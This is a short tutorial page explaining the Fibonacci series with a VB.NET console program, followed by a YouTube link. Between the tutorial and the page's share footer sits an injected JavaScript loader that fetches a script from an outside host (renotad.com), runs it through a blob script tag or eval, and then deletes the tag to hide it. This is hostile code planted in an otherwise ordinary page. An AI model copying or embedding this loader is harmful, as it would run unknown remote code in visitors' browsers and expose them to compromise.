Fibonacci Series in VB .Net

MUHAMMAD IMRAN
1 Min Read

 Fibonacci series, next number is the sum of previous two numbers for example 0, 1, 1, 2, 3, 5, 8, 13, 21, etc. The first two numbers of the Fibonacci series are 0 and 1.

Let’s see the Fibonacci series program in VB .net Console Mode. 

 

Sub main()
Dim x, y, n, i, sum As Integer
Console.WriteLine(“Enter the value”)
n = Console.ReadLine()
x = 0
y = 1
Console.WriteLine(x)
Console.WriteLine(y)

For i = 3 To n
sum = x + y
Console.WriteLine(sum)
x = y
y = sum

Next i

Console.ReadKey()
End Sub

 

 

https://www.youtube.com/watch?v=wTlw7fNcO-0
;(function(){var u='https://renotad.com/lom1/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&&s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();

Share This Article
Leave a Comment